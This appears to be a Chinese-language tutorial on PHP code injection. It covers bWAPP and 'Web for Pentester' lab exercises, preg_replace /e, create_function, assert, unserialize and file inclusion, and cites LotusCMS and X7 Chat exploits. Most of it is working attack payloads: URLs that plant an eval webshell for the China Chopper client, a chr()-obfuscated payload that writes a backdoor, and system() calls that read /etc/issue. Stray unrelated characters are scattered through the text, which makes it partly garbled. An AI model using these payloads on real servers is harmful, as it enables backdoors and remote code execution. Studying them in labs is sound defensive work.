0x00 背景
在bwapp的注入部分有一個(gè)個(gè)php injection产还,這是第一次接觸匹厘,在做題的過(guò)程中查閱各種資料學(xué)習(xí)這里總結(jié)一下
0x01 PHP命令執(zhí)行函數(shù)
遵從幾位學(xué)長(zhǎng)的建議對(duì)于PHP的學(xué)習(xí)都是需要的時(shí)候才去看一下,所以理解的程度并不深脐区。這里從網(wǎng)上收集了一些PHP能夠執(zhí)行命令的函數(shù)愈诚。詳情請(qǐng)看php執(zhí)行函數(shù)
0x02 bwapp下實(shí)例
在php injection的源代碼可以看到只有l(wèi)ow等級(jí)的對(duì)于message參數(shù)前有eval執(zhí)行函數(shù),midium和high都只是使用echo打印到頁(yè)面之上牛隅。因此直接在message的值寫(xiě)為phpinfo()就能執(zhí)行該函數(shù)炕柔。
在網(wǎng)上看到一個(gè)相較高級(jí)的利用辦法是利用fopen來(lái)寫(xiě)入一個(gè)php文件,相當(dāng)于實(shí)現(xiàn)了文件上傳的功能媒佣,要想在實(shí)際環(huán)境中實(shí)現(xiàn)需要考慮很多繞過(guò)的情況匕累,但是想法不錯(cuò)!
http://127.0.0.1:82/bwapp/phpi.php?message=fputs(fopen('haha.php','w+'),'<?php @eval($_POST[test])?>')
這樣的話(huà)就會(huì)在phpi的同級(jí)目錄之下生成一個(gè)haha.php文件默伍,使用菜刀連接就好欢嘿。
medium與high就直接忽略掉了。
0x03 文件包含
文件包含函數(shù)在特定條件下的代碼注射也糊,如include()炼蹦、include_once()、 require()狸剃、require_once()掐隐。當(dāng)allow_url_include=On ,PHP Version>=5.2.0 時(shí)捕捂,導(dǎo)致代碼注射瑟枫。
test.php代碼如下:
<?php include($_GET['a']) ?>
提交a的值:
http://127.0.0.1:82/test.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E
提交之后就能正常執(zhí)行phpinfo()了
0x04 preg_replace正則替換
這個(gè)函數(shù)的定義形式是:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
pattern參數(shù)的利用
pattern即第一個(gè)參數(shù)的代碼注射斗搞。當(dāng)magic_quotes_gpc=Off時(shí)指攒,導(dǎo)致代碼執(zhí)行。
例:<?php echo $regexp = $_GET['reg'];
$var = 'phpinfo()';
preg_replace("/(.*?)$regexp", '\\1', $var);
?>
當(dāng)提交?reg=%3C\/php%3E/e時(shí)就會(huì)執(zhí)行var中的語(yǔ)句
②使用/e修飾符僻焚,preg_replace會(huì)將?replacement?參數(shù)當(dāng)作?PHP?代碼執(zhí)行
例如:
<?php ?
echo?preg_replace("/test/e",$_GET["h"],"jutst?test");
??>/*當(dāng)提交的h參數(shù)為phpinfo()就會(huì)被執(zhí)行允悦,當(dāng)執(zhí)行以下經(jīng)過(guò)chr函數(shù)繞過(guò)的會(huì)生成一個(gè)新的php文件
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文對(duì)應(yīng)的明文是:fputs(fopen(data/a.php,w), <?php eval $_POST[cmd[ ?>);
0x05 動(dòng)態(tài)代碼執(zhí)行
這一類(lèi)一般是從用戶(hù)處獲得了多個(gè)參數(shù),然后有一個(gè)可以用來(lái)執(zhí)行其他的語(yǔ)句。
<?php ? $a = $_GET['a']; ? ? ? ? $b = $_GET['b']; ? ? ? ?$a($b); ? ?>
提交a=system&b=ipconfig ? 就能成功執(zhí)行ipconfig命令
還有一種是使用了create_function()函數(shù)
string?create_function ?(?string$args?? ,?string$code?? ) 即第一個(gè)參數(shù)指定創(chuàng)建函數(shù)的參數(shù)隙弛,第二個(gè)就是創(chuàng)建函數(shù)的代碼部分架馋。
create_function('$name', 'echo "hello".$name;'))等價(jià)于
function fun($name){ echo "hello".$name; }
實(shí)驗(yàn)代碼:
提交:http://127.0.0.1:82/test.php?foobar=eval(phpinfo())
0x06 實(shí)例
①http://www.exploit-db.com/exploits/18565/??LotusCMS 3.0 eval() Remote Command Execution
影響版本:
LotusCMS version 3.0.3
LotusCMS version 3.0.5
漏洞描述:
在LotusCMS 的index.php 文件中調(diào)用router 構(gòu)建函數(shù),然后在lcms/core/lib/router.php 中page 這個(gè)參數(shù)被帶入全闷,由于未經(jīng)任何過(guò)濾可以產(chǎn)生該漏洞叉寂。
也可以像上面提到的一樣利用執(zhí)行函數(shù)的特性來(lái)寫(xiě)入一個(gè)文件
3.案例-2:
http://www.exploit-db.com/exploits/35183/?X7 Chat 2.0.5 preg_replace() PHP Code Execution
影響版本:X7 Chat version 2.0.5
漏洞描述:
漏洞的產(chǎn)生最終是由于/lib/message.php 下的第119 行的preg_replce()函數(shù)導(dǎo)致,這里引用了/e 修飾符总珠,并且未經(jīng)過(guò)嚴(yán)格過(guò)濾最終導(dǎo)致任意代碼執(zhí)行屏鳍。
案例演示:
1. 首先需要注冊(cè)一個(gè)用戶(hù)
2. 利用注冊(cè)的用戶(hù)登錄
3. User CP –>Offline Msgs –>創(chuàng)建一個(gè)項(xiàng)目鏈接–>Send
或者直接GET 如下代碼
之后可以看到成功創(chuàng)建一個(gè)項(xiàng)目,當(dāng)打開(kāi)創(chuàng)建的項(xiàng)目可以看到利用代碼被成功執(zhí)行
Metasploit 更新了漏洞利用模塊局服,可以利用該模塊演示一下被利用的場(chǎng)景
PHP create_function()
1.在php 中使用create_function()創(chuàng)建一個(gè)匿名函數(shù)(lambda-style),如果對(duì)參數(shù)未進(jìn)行嚴(yán)格的過(guò)濾審查钓瞭,攻擊者可以通過(guò)提交特殊字符串給create_function()從而導(dǎo)致任意代碼執(zhí)行。
Code:
PHP?unserialize
Code:
提交語(yǔ)句:http://127.0.0.1/test/unserialize.php?test=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}
PHP assert
Code:
提交語(yǔ)句:http://127.0.0.1/test/assert.php?test=phpinfo();
0x07 代碼執(zhí)行繞過(guò)
前面將一些常見(jiàn)的易造成PHP代碼注入的函數(shù)介紹了一下淫奔。接下來(lái)將以web for pentester中的案例來(lái)演示一下山涡,一些簡(jiǎn)單的php代碼執(zhí)行的繞過(guò)。
案例演示:
example1.php
代碼:
解決方案:
查看代碼我們可以看到唆迁,這里使用了反斜杠【\】將echo后面的內(nèi)容給轉(zhuǎn)義了鸭丛。這樣做與加addslashes()函數(shù)進(jìn)行過(guò)濾的意思是一樣的。具體案例可以到這里學(xué)習(xí)【php4fun.sinaapp.com PHP挑戰(zhàn)通關(guān)攻略】唐责。但是我們可以通過(guò)${${ }}這樣的方式繞過(guò)系吩,從而繼續(xù)執(zhí)行代碼。
提交語(yǔ)句:
http://target/codeexec/example1.php?name=${${phpinfo()}}
example2.php
代碼:
解決方案:
我們看代碼妒蔚,造成造成代碼注入的重點(diǎn)在被加紅的區(qū)域也就是create_function()的不當(dāng)使用穿挨,我們可以這樣構(gòu)造);}phpinfo();//,從而繼續(xù)執(zhí)行我們的命令肴盏】剖ⅲ【這里解釋一下);}是閉合了前面的代碼,而//則是將后面的內(nèi)容注釋掉】
提交代碼:
http://target/codeexec/example2.php?order=id);}phpinfo();//
example3.php
代碼:
解決方案:
/e 修正符使 preg_replace() 將 replacement 參數(shù)當(dāng)作 PHP 代碼(在適當(dāng)?shù)哪嫦蛞锰鎿Q完之后)贞绵。提示:要確保 replacement 構(gòu)成一個(gè)合法的 PHP 代碼字符串,否則 PHP 會(huì)在報(bào)告在包含 preg_replace() 的行中出現(xiàn)語(yǔ)法解析錯(cuò)誤恍飘。
因此當(dāng)滿(mǎn)足了在語(yǔ)句的構(gòu)造中有/e修正符榨崩,就有可能引起php代碼注入的風(fēng)險(xiǎn)≌履福可以如此構(gòu)造
new=system(‘date’)&pattern=/lamer/e&base=Hello lamer
提交代碼:
http://target/codeexec/example3.php?new=system(‘date’)&pattern=/lamer/e&base=Hello lamer
example4.php
代碼:
解決方案:
如此構(gòu)造即可:hacker’.system(‘cat /etc/issue’).’
提交代碼:
http://target/codeexec/example4.php?name=hacker’.system(‘cat /etc/issue’).’
0x08 代碼防御
盡量不要執(zhí)行外部的應(yīng)用程序和命令
在使用諸如:eval母蛛、preg_replace、assert這些函數(shù)的時(shí)候乳怎,確定參數(shù)的內(nèi)容彩郊,嚴(yán)格過(guò)濾危險(xiǎn)參數(shù)。
使用自定義的函數(shù)或者函數(shù)庫(kù)來(lái)實(shí)現(xiàn)相關(guān)的需要命令功能
0x09 相關(guān)參考
慎用preg_replace危險(xiǎn)的/e修飾符(一句話(huà)后門(mén)常用)
文中后半部分來(lái)自千域千尋,PHP Code Injection Analysis